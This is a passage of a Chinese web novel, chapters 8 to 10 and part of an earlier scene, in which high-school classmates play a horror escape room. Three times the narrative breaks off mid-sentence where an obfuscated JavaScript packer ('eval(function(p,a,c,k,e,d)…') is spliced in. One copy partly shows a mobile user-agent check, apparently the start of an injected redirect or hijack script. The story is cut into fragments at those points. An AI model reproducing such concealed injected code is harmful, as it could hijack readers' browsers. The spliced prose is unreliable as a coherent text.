“然后就是陈温,年级第153名。”楚婷的声音柔和了几分,点着成绩单,说:“听说他的进度和大家都不一样,考虑到他的特殊情况,能得到这个成绩是很不容易的。” 她顿了顿,举起一张试卷,道:“就是这字——歪歪扭扭,像一排排喝醉的蚂蚁。” 前排能瞧见试卷的几位同学,顿时被陈温的字给逗笑了。 陈温的耳尖瞬间通红,把脸埋进书里。 “多跟沈泽许学学。”楚婷说着,把另一张试卷举起——一张字迹清隽如竹。 楚婷放下试卷,继续念成绩:“哎呦,小桐这次上年级第三了啊。” “哼。”女生把短发捋到肩后,“都说了上次是我让他们的。” “那什么时候让我沾沾你年级第一的光?”楚婷从小包掏出一瓶汽水抛了过去,“接着,这次打赌给的奖励。” “哎呀老师——”李欣桐一把接住,“考第一的事嘛,就像熬汤,火候到了自然……况且你不是还有一个第1名的爱徒吗?” “行了行了。”楚婷打断她,“一考好你就得瑟。” 接着,楚婷眉头挤出“川”字,念道:“清依啊,怎么除了英语,其他科目都掉了十多分呢?怎么回事啊?下课来我办公室一趟。” 李清依点了点头,她平时成绩一直不错,这次却意外地除了英语,其他科目都发挥失常。 楚婷又念了几个前十几的同学成绩,还有个别学习进步的同学的名字。 最后,她合上成绩单,语气严肃:“总体来说还是没有考好的,从这次模拟考可以看出我们班,某些同学在假期玩的很开心啊。” 她笑了笑:“这次模拟考虽然结束了,但大家不要松懈。距离高考还有一段时间,抓紧时间学习,争取在最后的冲刺阶段取得更好的成绩!” 教室里响起了一阵低低的议论声,同学们有的兴奋,有的沮丧,但无一例外,都在为接下来的学习做准备。 8. 密室(上) 下课铃的余韵还在教学楼里震颤,林宇舟已经一个箭步蹿到陈温桌前。 “嘭!” 他把手掌重重拍在课桌上,俯身靠近陈温,说:“密室逃脱,周六,新开的。据说有真人NPC会从天花板倒吊下来——去不去?!” 陈温正准备将脸趴在桌子上补觉,闻言只闷闷地飘出四个字:“不去,睡觉。” 林宇舟挑了挑眉,伸手拍起陈温的肩,调侃道:“睡觉有什么意思?周末大好时光,浪费在床上多可惜!” “那什么,玩完我请你们喝饮料。”林宇舟乘胜追击,问正在整理笔记本的沈泽许,“老沈你呢?给个面子,去不去?” 沈泽许抬眼说:“他点头我就去。” “啊?为什么?”林宇舟故作夸张地捂住胸口,一副受伤的表情,“你俩同桌什么时候这么默契了?” 顿了顿,他似乎想到了什么,语气正经了几分:“哦对了老沈,阿姨最近身体还好吗?我妈前几天还念叨着说,好久没看到她了,派小的来问问。” “还好,快出院了。”沈泽许说,“替我谢谢阿姨的关心,跟她说别担心。” 林宇舟的表情肉眼可见地松弛下来,说:“那就好。” 而后他抓住陈温的手腕,拇指按在对方突起的腕骨上,那里有被烫伤的痕迹,撒娇无赖地说:“所以你去不去嘛?就当是陪我嘛,大家聚一聚。” “……松手。”陈温晃了晃他的手,没甩动,炸毛的刘海底下露出一双睡意朦胧的眼睛,“有谁去?” 林宇舟松开男生的手,摸着下巴故作神秘地数着:“我,萧云,语文课代表李欣桐,还有……”他说到一半,目光不自觉地飘向教室另一头,落在正和李欣桐聊天的李清依身上。 女生微低着头,薄唇抿紧,明显闷闷不乐。 “还有清依。”林宇舟说完收回了目光。 陈温顺着他的视线看了一下,犹豫三秒,最终点头答应:“行吧,具体的事微信上说。” “成交!”临走前,林宇舟还回头朝沈泽许打了个响指,“你也来!” 得到对方一个微不可察的颔首后,林宇舟走了两步又回头,冲两人挥手,说:“我这就去跟他们说!别忘了啊,星期六,不见不散!” 陈温早早起了床,懒洋洋地刷完牙,随手从冰箱里拿出一块面包咬了一口。 面包有些干,他皱了下眉,还是咽了下去。 林宇舟在群里面提议玩“女寝消失案”。 故事背景:是一所学校的一名女生莫名其妙地失踪了,由于舆论压力,学校被迫停学,最终荒废。 游玩者扮演的是当年女生的同班同学,他们被邀请回到学校调查事情真相。 很老套的剧情,陈温对这种恐怖主题并不感兴趣,但架不住林宇舟的软磨硬泡,最终还是答应了,其他人则是无所谓。 时间还早,陈温坐在书桌前,草草写了几笔作业,又划掉,他盯着那道解了一半的数学题,数字和符号在眼前浮动,却怎么也拼不出答案。 算了。 他随手合上练习册,从衣柜里扯出一件灰色卫衣套上。 布料带着淡淡的洗衣液味,袖口处有些起球,蹭在手腕上微微发痒。 推开门,热浪扑面而来。 “早上好呀。”江夏提着斜挎包,身穿白T恤跟牛仔裤站在隔壁门口跟陈温打招呼,“小弟,出去玩啊?” “嗯呐。”陈温锁上门,脸上挂着笑。 “玩得开心哦。” “谢谢,你也是。”陈温感谢完,发现江夏今天的打扮的与往常不一样,精致且清新,又问:“你呢?也是出去玩吗?” “我啊,去约会。”江夏笑了笑,“现在在等人呢。” “哦,我先走了拜拜。” 陈温没发现什么不对劲,于是准备下楼。 “等一下。”江夏叫住了他,陈温转过身有些茫然地看着江夏。 女生递给他一个小盒子,说:“这是我新研发的口味泡芙,你帮我尝尝味道怎么样。” “啊?不用了,不用了。”陈温连忙摆手。 这个星期,江夏跟陆晚枝两人经常,不对,是每天以尝试新菜品为借口,叫陈温到隔壁蹭饭,品尝“新菜品”成了每日任务。 “陈温!今天试了芒果糯米饭!” “明天的提拉米苏缺个试吃员~” 陈温每次都是拒绝,但是盛情难却。 现在又送给他泡芙,他实在是不好意思。 “没事啊,”江夏说,“如果不嫌弃我们把你当‘小白鼠’的话就拿着到路上去吃吧。” “嗯……那好吧。”陈温感谢地接过,生怕江夏姐又塞给他什么吃的,飞快下了楼,边想下次去蹭饭得带点回礼才行。 楼下,太阳已经爬得老高,白晃晃地悬在天上,晒得路面蒸腾出扭曲的热气,明明是9月还像盛夏一样闷热。 陈温低头看了眼手机导航——距离目的地还有二十分钟车程。 公交站台空荡荡的,只有广告牌上的明星在微笑。陈温刚吃完泡芙,公交车便到了站。 刷了卡,车厢里冷气开得很足,车上没多少人,陈温找了一处靠窗的位置坐下。 司机正放着一首红歌,铿锵的旋律混着电子音效,震得人耳膜发颤: “我和我的祖国,一刻也不能分割——” 陈温本想眯一会儿,被这音乐吵得毫无睡意,只好转头看向窗外,任由思绪飘散。 在他的记忆里,零花钱总是以“暂时保管”的名义消失在父亲的钱包。 那些钱永远只在他口袋里停留短暂的时间,就像冬日呵出的白气,转眼就消散了。 陈温早已习惯这种模式。 钱包里那几张皱巴巴的纸币,是陈林峰每月给他买菜和买学习用品时,他硬从指缝里省下的零头。 在收银台前反复比较价格的记忆,像道褪色的疤。 这次密室门票的花销,抵得上他1个月的早餐钱。但他没忘陈林峰跟他说的,要跟同学们合群,就忍痛割爱跟着来了。 公交车一个急刹停在站台,陈温被惯性甩向前排座椅。他踉跄着下车,热浪混着汽车尾气扑面而来。 他点开手机,找到一起玩密室拉的群聊,发了一条消息: 「我到站了,等一会儿就到。」 「林宇舟:我们已经到了,我叫老沈去接你了,你看到他没?」 陈温抬头四顾,定住视线。 高大的梧桐树荫下,沈泽许单手插兜站着,灰色外套袖口卷到手肘,露出结实的小臂——两道目光在半空相撞。 电梯门渐渐闭合,将两人与外界隔开。密闭空间里,陈温闻到一丝的茉莉气息。 他在想:沈泽许是喜欢用这种味道的沐浴露吗? 陈温没想到天气这么热,边给自己扇风,边盯着不断跳动的红色数字。 最后“叮——”的一声,电梯门缓缓开启。 灯光刺到陈温,他下意识眯起眼,耳边炸开林宇舟标志性的大嗓门:“你可算来了!”他一个箭步冲过来,胳膊熟练地搭上陈温肩膀。 陈温扫视四周,说:“其他人呢?” “喏。”林宇舟往右边一指。 转角处,游戏机正发出夸张的音效。 叶萧云整个人几乎贴在屏幕上,手指在按键上舞出残影,屏幕里的拳击手一个上勾拳KO对手,爆出“WINNER”的金色特效。 而另外两个女生正对着手机镜头比耶拍照。 李欣桐说:“看这里——三、二、一!” 她把眼皮扯成三角形,做出鬼脸。李清依猝不及防被逗笑出声,眼角弯成月牙。 这是陈温第一次见到她毫无防备的笑容。 “都到齐了?”一道男声插入,众人一怔。 穿黑色制服的工作人员不知何时出现在众人身后,手里捧着签字板。 林宇舟点头,说:“嗯,都来完了。” “那好,准备好了就签一下表格。”工作人员将签名表推到几人面前。 “喂!别玩了!”林宇舟扯着嗓子喊,“过来签名——” 叶萧云这才恋恋不舍地离开游戏机,屏幕上的拳击手立刻被对手一个右勾拳打翻在地。 工作人员递来的通讯器还带着上一位玩家的余温,陈温放好贵重物品,有些搞怪的眼罩就覆了上来。 队形是提前说好的,林宇舟胆子大,他走在最前面当“出头鸟”,后面依次是李清依、李欣桐、叶萧云,最后是陈温和沈泽许。 黑暗如潮水漫过视野,陈温感到一只微颤的手摸索着抓住自己——是叶萧云的手,他指甲几乎要掐进他掌心的肉里。 他迟疑半秒,向后伸出左手,立刻被一片温热包裹。 沈泽许的掌心干燥灼热,像握着一块晒透的鹅卵石。而陈温的指节被这股热度熨贴着,竟泛起细微的刺痛感。 他从未想过,一个人的体温,能通过交握的双手传递得如此清晰。 陈温从没玩过密室,平时他更喜欢宅在家里什么也不做,这种体验对他自己来说既新鲜又有些害怕。 工作人员不知带六人拐过第几个弯,一股带着铁锈味的冷风拂过六人后颈。 到了目的地,安静了三秒,通讯器里传来工作人员的声音:“可以摘眼罩了。” 黑暗浓得几乎实体化,唯有十米外一盏故障的应急灯在“滋滋”闪烁,每次亮起都像按下快门:剥落的墙皮、血字涂鸦、地上干涸的污渍,最后定格在面前锈迹斑斑的铁门上。 里面隐约传来低沉的哭泣声和诡异的音乐,让人不寒而栗。 通讯器里的电流声“滋啦”一响,工作人员说:“游戏开始了,你们要避开保安,找到钥匙,打开大门。” 路灯剧烈闪烁起来,白光照在公告栏上,泛黄的纸张用血红色字体写着: 「23:00后严禁逗留 ——值班保安」 下面还贴着一张被撕掉一半的处分通知,隐约能看到“女生寝室失踪”的字样。 叶萧云“啪”地打了个响指,说:“根据我通关37个密室的经验——” 他三步并作两步冲到保安室的窗边,说:“这种老式木窗,八成藏在这了……” 叶萧云自信撸起袖子上前查看。 林宇舟叮嘱道:“行,不过要小心点。” 叶萧云不以为然:“掏个钥匙而已,能有多难?” 女生们紧张地缩成一团,盯着叶萧云的动作,林宇舟站在她们面前,像一堵墙似的挡着。 叶萧云的手刚伸进窗框,黑暗里便传来“咔嗒”一声—— 五根惨白的手指猛地钳住叶萧云手腕! “我操!!”叶萧云疯狂甩开了手,连连往后退,差点撞翻身后的林宇舟。 “有人摸我的手!”叶萧云还没控诉完,紧接着,一道低沉的男声从窗户传来:“你们是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈泽许算完,说:“密码是1420。” 叶萧云听完,一个箭步上前,密码盘在他粗暴的动作下发出不堪重负的“吱呀”声。 当最后一个数字输入完毕,整个空间陷入死寂。 紧接着,“啪!” 天花板的老式灯管接亮,但周围还是很暗。 陈温条件反射地闭眼,等他再睁眼时,发现自己的手心不知何时已经空了。 沈泽许正站在一米外查看电箱,袖口沾了墙灰也浑然不觉。陈温搓了搓指尖,那里好像还残留着另一个人的体温。 李欣桐长舒一口气:“总算能看清个大概了!” 李清依刚要点头同意这话,林宇舟就突然竖起食指抵在唇前,说:“嘘,有人。” 闻言,叶萧云背贴着墙,目光警惕地扫过每个角落,脚步已悄然后移,将女生们“护”在身前。 可昏暗的走廊空空荡荡,只有他们的呼吸声在墙壁间回荡。 “林!宇!舟!”叶萧云从女生身后闪出来,手指要戳到他鼻尖,“你管这叫‘有人’?” 始作俑者正倚着墙,说:“这不给大家提提神嘛~” “你——” “哎呀,烦不烦!吵什么吵。”李欣桐一脚踹翻脚边的易拉罐。 空罐滚动的声响里,混进不和谐的金属拖拽声—— 吱……嘎…… 像生锈的刀片在刮骨。 林宇舟的笑意突然僵在嘴角:“等一下,好像真有人!” 叶萧云不信:“又想骗我,门都没有!” “谁让你们进来的!” 阴影里蹿出一个高大的人影——是保安,他戴着面具,上面溅满暗红污渍,手里拿着的不是木棒,而是一根铁管。 他歪着头,脖颈发出“咔咔”的怪响。 待看清楚那身影是保安后,叶萧云第一个反应过来,拔腿就跑。 其他人也纷纷回过神来,紧随其后,四散奔逃。 “你个乌鸦嘴!!”李欣桐边跑边吐槽。 工作人员的提示从通讯器传来:“你们现在要边躲避保安,边找到教室。” 叶萧云气喘吁吁:“这怎么还带追逐的?!” 林宇舟喘着气回应:“你没看介绍吗?这个主题有追逐环节!” “咱们就不能不跑吗?” “不行啊,被抓到要单独关禁闭……” 李欣桐喊:“太、太刺激了!” 李清依牵李欣桐的手小跑,边说:“确实啊,不过这个灯不怎么亮,好黑看不清楚路。” 跑在最前面的是——沈泽许、陈温两人。 保安出现时,陈温还没看清身影,腕骨处就传来一阵锐痛——沈泽许像铁钳般扣住他,拽着他向前冲去。 陈温的手腕被沈泽许握得有些发紧,但他顾不上多想,只能跟着沈泽许的脚步,在黑暗中跌跌撞撞地奔跑。 “砰!” 陈温瞬间撞上一堵人墙,鼻腔盈满了熟悉的茉莉香。 沈泽许单手撑在他身后的墙面上,呼吸喷在他耳畔:“右转。” 陈温这才发现,他身前有堵墙,差点撞了上去。 保安还在追赶他们,铁管砸在水泥墙上,恐吓他们,跑快点。 陈温感觉到沈泽许的手滑到他腰间,几乎是半抱着他拐进右侧通道。 李清依在慌乱中,随手推开了一扇门。 她大声喊:“我找到教室了!” 9. 密室(中) “砰!” 铁门合拢,六人此起彼伏的呼吸着,像被困在玻璃罐里的昆虫。 叶萧云用发着抖的声音,说:“操!这特么比鬼屋刺激!” 李欣桐冷笑一声:“某些人啊,待会别哭着抱大腿。” 房间内一片漆黑,唯有课桌上的荧光棒发出微弱的光芒。 “咱们分头行动,找找线索。”林宇舟说。 陈温看着跟沈泽许紧握的手,默默松开了。 几人拿起桌上的荧光棒,开始在教室内寻找线索。 “有发现,快来看这个收音机!”李欣桐的嗓音拔高,众人围拢过去。 荧光棒的微光下,课桌表面那滩暗红色液体泛着诡异的光泽。 质感很真实,边缘处还凝结的泡沫状突起。 李清依试探性地按下录音机播放键,刹那间,生锈的转盘发出“吱呀”怪响。 “你们为什么要这样对我?!为什么!为什么!”一道女声传来带着哭腔,又突然转为癫狂的笑,“那就一起下地狱吧!哈哈哈——” 播放结束,这声音让众人不禁打了个寒颤。 叶萧云牙齿打颤:“不会真的有鬼吧!要、要不我们申请终止游戏……” 林宇舟喉结滚动了一下,强撑着去拍叶萧云肩膀:“别自己吓自己。” 这时,教室的窗户剧烈震颤起来,仿佛下一秒就要爆裂。 众人猛地转头,只见一个扭曲的黑影正贴在窗上。他的脖子像折断般歪斜着,四肢以不可能的角度扒拉着窗框。 李欣桐的尖叫卡在喉咙里,变成一声窒息般的抽气。 沈泽许大着胆子上前。当他靠近窗户时,那黑影就消失不见了,仿佛从未存在过。 片刻后,教室门突然晃动起来,像是有什么东西要强行闯入。 林宇舟喊道:“我们一起顶住门!” 四个男生刚扑到门前,就感受到可怕的撞击力,震得陈温虎口发麻。 叶萧云整个人都在发抖:“这他妈绝对超出密室范畴了!” “要叫停吗?”林宇舟罕见动摇了。 李欣桐却说:“来都来了。” 没有人会拒绝一句“来都来了”。 门又不动了,门缝传来纸张摩动地板的沙沙声。 沈泽许弯腰拾起那张纸条,荧光棒照亮上面狰狞的血字—— 「还我的舞鞋!!! ——你们拿走的」 对讲机滋滋作响,工作人员憋笑的声音断断续续地传来:“你们接下来的任务很简单,轮流出去放舞鞋……记得敲门三下……鞋子在外面的门口边,加油吧!” “等等!”林宇舟抢过对讲机,“我们要降低难度。” 三秒后,对方让步:“好的……你们可以两人一组。” 叶萧云一把抢过通讯器,问:“我们等一下轮流出去放舞鞋的时候,保安会追我们吗?” 工作人员说:“哈哈,谁知道呢~出去看看就知道了。” “要是有人的话怎么办?”叶萧云追问。 工作人员提议:“建议你们跑快点?哈哈。” 叶萧云一脸生无可恋:“你能不能别笑了。” 李欣桐接过通讯器,问:“行了,谁当出头鸟?” 房间里,鸦雀无声。 “不是,你们什么意思?”李欣桐双手交叉在胸前,她翻了个大大的白眼,揽着一脸茫然的李清依就往门口走。 “‘怂包男团’继续瑟瑟发抖吧,姐!我们先走。” 陈温倒是无所谓的,他第几个去都行,早去晚去都得去。沈泽许也没有说什么,帮忙打开了门,让两个女生出去。 “让女生打头阵……”林宇舟后知后觉地说道:“我们是不是太逊了?” “好像也是……”叶萧云若有所思地回应,但他盯着自己发抖的指尖,喉结滚动。 没过多久,走廊尽头传来很快的脚步声,李清依和李欣桐一前一后蹦跳着,回到门前。 “咚咚咚……” 三下清脆的敲门声刚落,门口就探出两颗脑袋。 李清依的发丝微微凌乱,脸颊泛红,眼睛却亮得惊人:“超简单!就放在拐角的花盆后面,还有荧光箭头指路,根本没人追我们。” 李欣桐懒洋洋地倚着门框,眉毛挑得老高:“该你们了哦——”她故意拖长尾音,目光在叶萧云身上慢悠悠转了两圈,“有些人该不会想临阵脱逃吧?” “老萧,走!我陪你。”林宇舟突然热血沸腾似的一把箍住叶萧云的脖子,活像拖麻袋似的往外拽,“是兄弟,就共生死!” “共生死个鬼啊!我还‘苟富贵勿相忘’呢!”叶萧云炸毛般挣扎起来,十指死死扒住门框,“松手!我不去!打死我也不去!!” “怕啥?”林宇舟像焊在他身上似的,硬是把人往外拖,“你还是不是男子汉了?” “砰!”门被无情关上。 陈温的视线一开始就黏在李清依衣摆的污渍上,他微微眯眼,问:“你们真没遇到危险?” “怎么没有?”李欣桐捂住嘴,整个人抖得像触电,“那保安就在转角蹲人。” 李清依低头拍了拍衣角的污渍,说:“是啊,追了我们半条走廊呢。” “那你们还……” “啊啊啊……救命啊!”门外的惨叫一听,就知道是叶萧云发出的。 “哈哈哈,到他们被追了。”李欣桐终于笑出声来,“刚刚憋死我了……” 原来如此。 话音未落,远处传来叶萧云撕心裂肺的哀嚎:“开门啊!快开门!要死人了!!!” 林宇舟的狂笑混杂其中:“叶萧云跑快点!保安要追上来了!” 沈泽许好心提醒:“要敲三下门。” “完了完了!他摸到我后颈了!救命啊。” 两人又鬼哭狼嚎地绕了一圈,终于哆哆嗦嗦敲满三下。 门一开,林宇舟只喘了一下,叶萧云则是直接瘫坐在地上,脸色发青,活像刚被丧尸追了八条街。 “笑死我了。”李欣桐笑得直拍桌子,其他人也憋得肩膀直抖,只是没她那么夸张。 叶萧云黑着脸,咬牙切齿:“你们——笑、什、么?!” 笑了一会。沈泽许不知何时站在陈温身后半步的位置,茉莉香混着体温将他整个人笼罩。 “到我们了,走吗?” 陈温深吸一口气,说:“走吧。” 两人离开教室,拿起一旁的舞鞋,跟着走廊上的小灯走。 陈温不自觉的跟在沈泽许身后。 他不是怕。就是这凉飕飕的氛围,很难不让人紧张。 “沈泽许你有没有觉得有点冷?”他问。 沈泽许猛地停步,陈温的鼻尖猝不及防撞上他的后背。 “你怕了吗?”沈泽许转身,盯着陈温看。 陈温几乎是立刻反驳:“谁怕了?应该是通风不太好吧。” 说完,他无所谓地大步上前两步,手腕却被死死拽住。 沈泽许的拇指在他脉搏上轻轻一按:“其实……我有点怕。” 这示弱来得太突然,陈温甚至能听清他刻意放轻的呼吸声。 “你保护我?” 陈温感觉的自己的耳膜嗡嗡作响,他收紧手指,把对方的腕骨圈进掌心。 “哦,没事,跟紧我就是了……” 两人很快抵达目的地。 将红舞鞋放到指定位置,陈温的后颈窜起一阵麻意。 黑暗中有道视线黏了上来,像蜘蛛的步足,正顺着他的脊椎一节节往上爬。 “沈泽许……”陈温说,“这里好奇怪,你不觉得吗?” 沈泽许则是一脸害怕的模样:“你会保护我的,对吗?” 陈温用力地闭了闭眼,再睁开时,声音已经稳了下来。 “嗯,没事的。” “好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林宇舟憋着笑,一掌拍在叶萧云肩上:“那就这么愉快地决定了。” 他不知从哪摸出一根荧光棒,绿幽幽的光映得众人脸色发青,林宇舟对叶萧说道:“拿着,我开过光的,驱邪。” “我!拒!绝!”叶萧云像只炸毛的猫般跳了起来,声音都变了调。 “两杯奶茶。”林宇舟凑到他耳边,像魔鬼低语,“波霸加双份布丁。” 叶萧云的耳朵动了动,吞了口口水。 他眼神偷瞄四周——李清依正用小鹿般的眼神望着他,李欣桐双手合十做祈祷状,陈温一脸期待地看着他,连一向高冷的沈泽许都对他微微颔首。 他的心理防线正在以肉眼可见的速度崩塌。 “我、我才不是图那两口奶茶!”叶萧云梗着脖子后退,“主要是怕你们这群胆小鬼待会尿裤子……” “好好好,萧哥最大义凛然了!”李欣桐不由分说地推着他往门口走,力道大得像是要把他发射出去,“行了行了,别磨磨唧唧的。” “哎——”叶萧云长叹一声,这口气叹得仿佛要把肺里的空气都排空。 他接过“开过光”的荧光棒,一步三回头地往外走。 人影渐渐消失,秒针转动的声音被无限放大,“咔、咔、咔”,像是倒计时般。 忽然,一声惨叫划破黑暗,紧接着是一连串“哐当!哗啦!咚!”的巨响,仿佛叶萧云一路撞翻了拖把桶、水桶,外加一整排铁质置物架。 教室里的众人面面相觑,道德和笑意的拉锯战在脸上精彩上演。 李欣桐死死咬住下唇,憋笑憋得眼眶泛泪,肩膀抖得像筛糠:“他、他该不会……又被保安大叔撵着跑了吧?” 林宇舟耸耸肩,嘴角疯狂上扬:“谁知道呢?不过我们刚才出去的时候,也没见这么夸张啊。” 李清依托起下巴,开玩笑道:“估计是叶萧云跑得太慢,连鬼都忍不住想欺负他一下。” 话音刚落,走廊尽头传来叶萧云的怒吼: “你们这群没良心的!老子差点被吓死,你们还笑?!” 10. 密室(下) 叶萧云像颗炮弹般冲进来,后背“咚”地砸在墙上,刘海被汗水浸成一绺一绺的。 六秒后,他勉强平复了呼吸,故作轻松地说:“其实……也没那么可怕嘛。” 林宇舟挑了挑眉,双手抱胸靠在桌边,说:“哦?是吗?那声惨叫是怎么回事?” 他陶侃完,叶萧云的脸上便闪过一丝尴尬,但很快又恢复了镇定。 他清了清嗓子,站直了身子,开始绘声绘色地描述起刚才的经历: “我跟你们说啊,去厕所的时候,我看到一个有个女鬼NPC蹲在那儿。她穿着白裙,头发披散,脸上还画着特效妆,看起来挺逼真的。” 叶萧云用拇指搓了搓鼻尖,继续说:“然后我问她钥匙在哪儿,她说在隔间里,我一拿钥匙她就追我,但是我比较聪明,根本没有给她反应的时间,直接跑了。” 说到这里他抬起手,扬了扬食指上的钥匙,脸上带着几分得意。 李欣桐忍住想翻白眼的冲动,说:“你可真是个人物,刚才那声惨叫我还以为你被鬼抓走了呢。” 叶萧云满不在乎地一甩头发,把胸膛拍得砰砰响:“那可不!我这叫战略性撤退!”他贼兮兮地转着眼珠,试图转移话题:“接下来咱们该干啥?总不会在这儿干瞪眼到结束吧?” 沈泽许的声音像一盆冰水,浇灭了嬉闹的气氛:“接下来,我们该去宿舍了。” 陈温第一个反应过来,点点头附和:“嗯,我们快走吧。”他三步并作两步迈向门口,刚碰到门把手。 “咔哒”一声。 门开了——保安就站在门外。高大的身影几乎堵住整个门框,制服笔挺得像是用钢板熨出来的。 mpc戴着恐怖面具,直勾勾盯着他们。 “滋……滋……”电棍被他握在手里,迸出幽蓝的火花,像条蓄势待发的毒蛇。 空气凝固了足足三秒。 “跑啊!!!”不知是谁破了音的一声吼,几人瞬间炸开了锅。 这密室设计得其实并不恐怖,如果忽略这位仿佛打了鸡血的工作人员的话…… 陈温的耳边只剩下两种声音:沈泽许的脚步声,像精准的节拍器,稳定而急促;和自己如擂鼓的心跳,震得耳膜发疼。 走廊扭曲延伸,被拉长的胶片。 每一次呼吸,铁锈味的冷空气便灌入肺里,刺得喉咙发紧。 陈温的手腕再次被沈泽许攥得生疼,指节几乎要嵌入他的皮肤,大脑一片混沌,只能紧紧跟着前方那个身影,不敢慢半秒。 “砰——”身后炸开的巨响,让陈温脊椎一麻。 那声音太闷重了,太实了——不像道具,倒像是什么人狠狠摔在了地上。 他下意识地想回头,但不知道是谁猛地将他推离原地。 “哐!” 门被重重砸上,好像整个世界都安静了。 几个人抵着墙大口喘气,房间里昏暗潮湿,只有窗外漏进的一线光,斜斜地割开黑暗。 叶萧云的后背死死贴着墙壁,说:“这保安居然会预判路线!” 陈温缓过劲来,环顾四周猛地僵住,瞳孔骤缩:“李清依她们不见了!” “她们应该是没有跟上来,”沈泽许说,“还在外面。” 闻言,林宇舟坐不住了,一个箭步冲到门前,手刚搭上门把上。 一个洪亮的男声穿透门板道:“同学们快开门!我是来送线索的!” 叶萧云浑身一抖,狐疑地眯起眼:“啊?真的假的?”他小声嘀咕:“不会又是个陷阱吧……” 门外的人仿佛听见了他的犹豫,声音拔高,语气诚恳得可疑:“真的真的!我绝对没骗你们!再不开门就要错过最佳解密时机啦!” 几人交换了一个眼神。 这演技,浮夸得能拿金酸梅奖。 但叶萧云却像被说服了似的眼睛一亮:“说不定真是工作人员呢?” “试试就知道了。” 林宇舟猛地拉开木门。 一道寒光刺进来。 电棒的蓝白电弧“滋啦”炸响,照亮每一张脸。 戴着面具的保安说:“抓到你们了……” “砰!” 沈泽许的鞋底狠狠踹在门板上,陈温几乎同时撞上去。两人肩膀相抵的瞬间,电棒极速缩了回去。 叶萧云的惨叫在喉咙里劈了叉:“我去——” 他像只受惊的树懒,整个人挂在林宇舟身上,指甲直接陷进对方肱二头肌。 锁上门后,叶萧云触电般弹开,吹起荒腔走板的口哨。 “那啥……我刚就是测试下你的应激反应。” 林宇舟面无表情掀起袖子,五个月牙形淤青整整齐齐的,活像被小型猛兽啃过。 安静不过三秒—— “开门!!!” 砸门声震得天花板落灰,叶萧云一个激灵窜到沈泽许背后:“你谁啊?” “我都不认识了?”门外的声音从尖细到破音,“我是你大爷!” 沈泽许眉梢微动:“是李欣桐。” “那怎么办……”叶萧云挠头的动作突然顿住,“等等!她刚才是不是骂我?!” “还能怎么办,先开门啊。”林宇舟已经把门拉开,两个女生跌跌撞撞地走了进来。 李欣桐的休闲裤膝盖处明显蹭黑了一大片,李清依的马尾辫松散了一半。 两人的样子要多狼狈就有多狼狈。 “你们跑哪儿去了?!”叶萧云眼睛瞪得圆溜溜地问。 李欣桐用力地拍打袖口,说:“不小心摔了。” “摔了?!”林宇舟吓了一跳,围着两人转了一圈,说:“没骨折吧?没脑震荡吧?” “没事。”李清依活动了下手腕,“就是被NPC扶起来的时候,她的道具指甲有点刮到我衣服了。” 叶萧云下巴差点掉到地上:“等等——还有NPC扶你们?!” 李欣桐翻了个惊天大白眼:“不然呢?你以为我们像你们一样,被保安追得跟丧家犬似的?”她撩起裤腿,露出青紫的膝盖:“看!疼死我了,” “那个还是个温柔小姐姐,”李清依眉眼弯弯,“人家还问我们要不要创可贴呢。” 林宇舟痛心疾首地捂住胸口:“凭什么我们被电棍恐吓,你们却享受NPC服务?!” 叶萧云一脸夸张严肃地跟两位女生讲了刚刚发生的事情,惹得两人笑了又笑。 李清依说:“哈哈,不过现在该干什么?” 叶萧云抓了抓后脑勺,茫然道:“完全没头绪啊……” 陈温一直没说话,方才他在杂物堆里观察着四周,闻言他抬起头:“别皮了,赶紧过来解谜。”他敲柜门着,发出空洞的回响,“这里似乎有线索。” 沈泽许跟陈温合力转动机关——柜门“咔哒”弹开,露出两节电池和一张泛黄的纸条。 纸条上的字迹像是被用力刻上去的: 「宿舍的秘密藏在时间的缝隙里,找到它,才能离开。」 “时间的缝隙?”叶萧云皱眉凑近:“这啥意思?密室还搞哲学?” 李清依思考了一会,说:“可能是让我们找和时间有关的东西……” “你们看!”李欣桐指向墙壁。 挂钟的玻璃裂成蛛网状,针分针诡异地停在2:20,像是被人刻意砸停在这个时刻。 林宇舟:“该不会要我们修钟吧?” 沈泽许已经将挂钟取下,利落地装上电池。 “嗒。” 钟表背面的暗格弹开,一封信飘落在地。 陈温拾起信封,展开的瞬间,红墨水字迹像血一样洇开: 「你们才是杀死女生的凶手。 班费丢失那天,你们指着她的新舞鞋冷笑。 没人听她解释那是奶奶的遗物。 谣言让她被舞蹈社开除,最终在厕所结束生命。」 李清依明知道是剧本,可每个字句如同针扎进她心底一样:“啊,怎么会这样?” 陈温翻到背面,更加刺目的红字写着: 「她的尸体还在冰冷的地板上,带她回宿舍吧,跟她说声对不起。」 男生折起信纸,目光扫过每个人。 “走。” 厕所隔间里,一个等身大的洋娃娃歪倒在角落,雪白的裙摆铺展在地上,金发间露出一张惨白的笑脸,玻璃眼珠反射着诡异的光。 “怎么又是我?!”叶萧云哭丧着脸,像捧炸弹似的拖起洋娃娃。 李欣桐说:“又没让你亲它!拿一下能少块肉?” “说得轻巧,这玩意儿看着就瘆得慌……” 几人轻手轻脚地将那具“尸体”摆正,洋娃娃的右手食指,不知何时翘起了十五度角。 林宇舟轻咳一声,说:“该‘道歉’了。” 一群人站成一排,声音参差不齐地说:“对不起!我们不该陷害你……” “叶萧云!”李欣桐督促:“你抱回来的,诚意呢?” 叶萧云豁出去地喊:“对不起!我不该把你拖回来!” “恭喜通关。”工作人员的声音从门外传来。 几人异口同声: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 